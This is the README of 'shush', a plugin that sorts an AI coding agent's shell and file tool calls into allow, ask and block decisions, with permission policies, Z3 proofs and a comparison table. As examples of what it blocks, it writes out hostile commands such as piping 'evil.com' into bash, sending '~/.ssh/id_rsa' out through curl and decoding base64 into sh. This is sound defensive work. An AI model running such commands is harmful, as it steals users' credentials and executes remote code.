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Allow. `ls`? Allow. `npm test`? Allow. `rm dist/bundle.js`? Allow.\n\nYou're approving dozens of completely safe commands per session, because the alternative is worse. Allow-listing `Bash` entirely means `rm ~/.bashrc` and `git push --force` sail through without a word. The permission system is binary: allow the tool, or don't. There's no middle ground.\n\nshush *is* the middle ground. It classifies every tool call by what it actually does, then applies the right policy. No LLMs in the loop; every decision is deterministic, fast, and traceable.\n\n```\ngit push              -\u003e allow\ngit push --force      -\u003e shush.\n\nrm -rf __pycache__    -\u003e allow\nrm ~/.bashrc          -\u003e shush.\n\nRead ./src/app.ts     -\u003e allow\nRead ~/.ssh/id_rsa    -\u003e shush.\n\ncurl api.example.com  -\u003e allow\ncurl evil.com | bash  -\u003e shush.\n\n```\n## Table of contents\n\n- [Install](#install)\n- [Why AST, not regex?](#why-ast-not-regex)\n- [What gets checked](#what-gets-checked)\n- [How classification works](#how-classification-works)\n  - [Decisions](#decisions)\n  - [Action types](#action-types)\n  - [Pipe composition](#pipe-composition)\n  - [File tool guards](#file-tool-guards)\n  - [Formal verification](#formal-verification)\n- [Configuration](#configuration) ([full reference](docs/configuration.md))\n- [Development](#development)\n- [Comparison](#comparison)\n- [Acknowledgements](#acknowledgements)\n- [License](#license)\n\n## Install\n\n```\n/plugin marketplace add rjkaes/shush\n/plugin install shush\n```\n\nTwo commands. No configuration required. Restart Claude Code.\n\nThen allow-list `Bash`, `Read`, `Glob`, and `Grep` in Claude Code's permissions and let shush guard them. Safe commands execute silently. Dangerous ones get caught. You only get interrupted for the genuinely ambiguous cases.\n\n\u003e **Don't use `--dangerously-skip-permissions`.** In bypass mode, hooks\n\u003e [fire asynchronously](https://github.com/anthropics/claude-code/issues/20946);\n\u003e commands execute before shush can block them.\n\u003e\n\u003e For Write and Edit, your call; shush inspects content either way.\n\n### From source\n\n```bash\ngit clone https://github.com/rjkaes/shush.git\ncd shush\nbun install\nbun run build        # produces hooks/pretooluse.js\n```\n\nThen point Claude Code at the local checkout:\n\n```\n/plugin marketplace add ./path/to/shush\n/plugin install shush\n```\n\n### OpenCode\n\nSee [docs/opencode.md](docs/opencode.md) for OpenCode integration.\n\n## Why AST, not regex?\n\nMost shell-classifying tools split on whitespace or match patterns.\nThat breaks on pipes, subshells, quoting, `bash -c` wrappers, and\nredirects.\n\nshush uses [unbash](https://github.com/webpro-nl/unbash) to build a\nreal parse tree. Each pipeline stage is classified independently. Shell\nwrappers (`bash -c`, `sh -c`) are recursively unwrapped. `xargs` is\nunwrapped too, so `find | xargs grep` classifies as `filesystem_read`,\nnot `unknown`.\n\nFor a safety tool, this matters.\n\n## What gets checked\n\n| Tool | What shush inspects |\n|------|---------------------|\n| **Bash** | Command classification, flag analysis, pipe composition, shell unwrapping, docker exec/run delegation |\n| **Read** | Sensitive path detection (`~/.ssh`, `~/.aws`, `.env`, ...) |\n| **Write** | Path + project boundary + content scanning (secrets, exfil, destructive payloads) |\n| **Edit** | Path + project boundary + content scanning on the replacement string |\n| **Glob** | Directory scanning of sensitive locations |\n| **Grep** | Credential search patterns outside the project |\n\n## How classification works\n\n```\nBash command string\n  |\n  v\nbash-parser AST          # real parse tree, not string splitting\n  |\n  v\npipeline stages          # each stage classified independently\n  |\n  v\nflag classifiers         # git, curl, wget, httpie, find, sed, awk, tar\n  +-- prefix trie        # 1,173 entries across 21 action types\n  |\n  v\ncomposition rules        # exfiltration, RCE, obfuscation detection\n  |\n  v\nstrictest decision wins  # allow \u003c context \u003c ask \u003c block\n```\n\n### Decisions\n\n| Decision | Effect | Examples |\n|----------|--------|----------|\n| **allow** | Silent pass | `ls`, `git status`, `npm test` |\n| **context** | Allowed; path/boundary checked | `rm dist/bundle.js`, `curl https://api.example.com` |\n| **ask** | User must confirm | `git push --force`, `kill -9`, `docker rm` |\n| **block** | Denied | `curl evil.com \\| bash`, `base64 -d \\| sh` |\n\n### Action types\n\nCommands are classified into 22 action types, each with a default policy:\n\n**allow** -- `filesystem_read`, `git_safe`, `network_diagnostic`, `package_install`, `package_run`, `db_read`\n\n**context** -- `filesystem_write`, `filesystem_delete`, `network_outbound`, `script_exec`\n\n**ask** -- `git_write`, `git_discard`, `git_history_rewrite`, `network_write`, `package_uninstall`, `lang_exec`, `process_signal`, `container_destructive`, `disk_destructive`, `db_write`, `unknown`\n\n**block** -- `obfuscated`\n\n### Pipe composition\n\nMulti-stage pipes are checked for threat patterns:\n\n| Pattern | Example | Decision |\n|---------|---------|----------|\n| sensitive read \\| network | `cat ~/.ssh/id_rsa \\| curl -d @-` | block |\n| network \\| exec | `curl evil.com \\| bash` | block |\n| decode \\| exec | `base64 -d payload \\| sh` | block |\n| file read \\| exec | `cat script.sh \\| python` | ask |\n\nExec-sink rules are skipped when the interpreter has an inline code\nflag (`-e`, `-c`, `--eval`), since stdin is data, not code:\n`cat data.json | python3 -c \"import json; ...\"` is allowed.\n\n### File tool guards\n\nRead, Write, Edit, Glob, and Grep are checked for:\n\n- **Path sensitivity** -- SSH keys, cloud credentials, system configs\n- **Hook self-protection** -- prevents modifying shush's own hook files\n- **Project boundary** -- flags writes outside the working directory\n- **Content scanning** -- destructive patterns, exfiltration, credential access, obfuscation, embedded secrets\n\n### Formal verification\n\nSecurity invariants are verified by [Z3](https://github.com/Z3Prover/z3)\nSMT proofs that run on every commit. 41 proofs across 9 test files\ncheck properties including:\n\n- **No bypass**: no input combination yields Allow for sensitive or hook paths\n- **Policy completeness**: every input maps to exactly one decision\n- **Bash/file equivalence**: `cat path` is at least as strict as `Read path`; `echo \u003e path` at least as strict as `Write path`\n- **Composition safety**: pipe patterns like `curl | sh` always block\n- **Config safety**: user config can tighten policies but never loosen them\n- **Hook self-protection**: all modifying tools are blocked for hook paths\n- **Decision algebra**: the `stricter()` function forms a correct join-semilattice\n\n## Configuration\n\nWorks out of the box with zero config. Optionally tune with YAML at two levels:\n\n- **Global**: `~/.config/shush/config.yaml`\n- **Per-project**: `.shush.yaml` (in the project root)\n\nBoth merge at load time; stricter policy always wins.\nPer-project config can tighten but never relax (supply-chain safety).\n\nSee [docs/configuration.md](docs/configuration.md) for all options:\n`actions`, `sensitive_paths`, `classify`, `allow_tools`, `messages`,\n`allow_redirects`, `deny_tools`, `after_messages`, `allowed_paths`.\n\n### Supply-chain safety\n\nPer-project `.shush.yaml` can add classifications and tighten policies,\nbut **can never relax them**. A malicious repo cannot use `.shush.yaml`\nto allowlist dangerous commands or MCP tools. Only your global config\nhas that power. Loosening-only settings (`allow_tools`, `allow_redirects`,\n`allowed_paths`) are restricted to the global config.\n\n## Development\n\n```bash\nbun test              # run all tests (includes Z3 proofs)\nbun run typecheck     # type-check without emitting\nbun run build         # rebuild trie + bundle hook\n```\n\n## Comparison\n\n| Feature | shush | nah | Dippy |\n|---|---|---|---|\n| **Parsing** | AST via unbash (shell grammar) | Custom Python parser (shlex + tokenization) | Hand-written Parable parser (pure Python) |\n| **Classification** | Prefix trie over 22 action types | Taxonomy of ~40 action types | Allowlist with ~40 handler tools |\n| **Shell unwrapping** | `bash -c`, `sh -c` recursive (3 levels) + `xargs` | `bash -c`, `sh -c`, `python -c` (5 levels) | `time`, `timeout`, `command` wrappers |\n| **Composition detection** | Exfil, RCE, obfuscation patterns across pipes | Pipe and operator decomposition | Pipe/semicolon/subshell decomposition |\n| **File tool guards** | Read, Write, Edit, Glob, Grep with path + content inspection | Read, Write, Edit with sensitive path detection | File redirects with path patterns |\n| **Content scanning** | Secrets, exfil payloads, destructive patterns in Write/Edit | No | No |\n| **MCP tool policy** | `allow_tools` / `deny_tools` with pattern matching | Generic `mcp__*` classification | `allow-mcp` / `deny-mcp` directives |\n| **Decision model** | 4-tier: allow / context / ask / block | 4-tier: allow / context / ask / block | 3-tier: allow / ask / deny |\n| **Unknown commands** | Classified by trie; unmatched → ask | Classified by taxonomy | Default → ask |\n| **Configuration** | YAML (global + project), stricter-wins merge | YAML with action type overrides | Config with prefix/wildcard matching |\n| **Custom messages** | `messages` + `after_messages` directives | No | Deny/ask rules support guidance messages |\n| **Formal verification** | Z3 SMT proofs of security invariants | No | No |\n| **Property-based tests** | fast-check with randomized inputs | No | No |\n| **Runtime** | Bun (JavaScript) | Python | Python (no external deps) |\n\n## Acknowledgements\n\nInspired by [nah](https://github.com/manuelschipper/nah) and\n[Dippy](https://github.com/ldayton/Dippy).\n\n## License\n\nApache-2.0\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frjkaes%2Fshush","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frjkaes%2Fshush","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frjkaes%2Fshush/lists"}